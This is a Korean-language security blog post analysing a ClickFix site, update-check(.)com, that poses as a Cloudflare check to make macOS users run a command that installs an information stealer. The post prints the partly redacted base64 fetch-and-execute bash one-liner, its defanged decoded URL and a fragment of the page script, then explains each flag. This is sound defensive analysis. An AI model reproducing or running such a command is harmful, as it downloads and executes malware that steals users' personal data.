macOS 사용자 개인정보를 노리는 ClickFix(클릭픽스)-update-check

오늘은 macOS 환경을 노리는 ClickFix(클릭픽스) 인 update-check 은 macOS 정보 탈취 악성코드를 배포하기 위해서 제작된 클릭픽스 사이트입니다.
유포 사이트
update-check(.)com
그리고 해당 사이트에 접속하면 정상적인 Cloudflare 같이 돼 있지만 실제로는 ClickFix(클릭픽스)를 통해서 사용자의 Terminal를 실행을 하고 나서 악성코드 다운로드 및 실행을 하려고 준비된 사이트입니다.

클릭픽스 명령어

Base64 인코딩

bash <(curl -sSfL $(echo aH???Y2suY29tL20vN2Q4ZG???5NWQ5 | base64 --decode))

클릭픽스 웹사이트 소스

입니다.
여기서 Base64를 디코딩하면 다음과 같은 결과를 확인할 수가 있습니다.
hxxps://update-check(.)com/m/7d8df2(7)d95d9
웹 소스를 보면 다음과 같이 돼 있는 것을 확인할 수가 있습니다.

<script>
const CMD = "bash <(curl -sSfL $

코드 분석

Base64 디코딩 결과

원격에서 받아온 스크립트를 즉시 bash로 실행하는 코드
Base64 문자열을 디코드
디코드 결과
hxxps://update-check(.)com/m/7(d)8df(2)7d95d9
curl -sSfL (URL)
해당 URL에서 내용을 다운로드
-s:조용히 동작을 하게 설계
-S:에러는 표시
-f:HTTP 에러면 실패 처리
-L:리다이렉트 따라감
bash <( ... )
다운로드한 내용을 파일로 저장하지 않고 bash 입력으로 연결해서 실행
원격 코드 직접 실행
인터넷에서 받은 내용을 바로 실행
URL 은닉
URL을 Base64로 감싸서 한 번 숨김
리다이렉트 허용
-L 때문에 최종적으로 다른 서버로 이동
무결성 검증 없음
해시 확인, 서명 검증, GPG 검증이 전혀 존재하지 않음
이제는 윈도우 시스템에서 많이 사용을 하던 방법에서 macOS 에서도 악성코드를 감염을 통한 개인정보 유출을 노리는 악성코드들이 증가하고 있으니 macOS 에서도 백신 프로그램을 설치해서 사용하는 것을 권장합니다.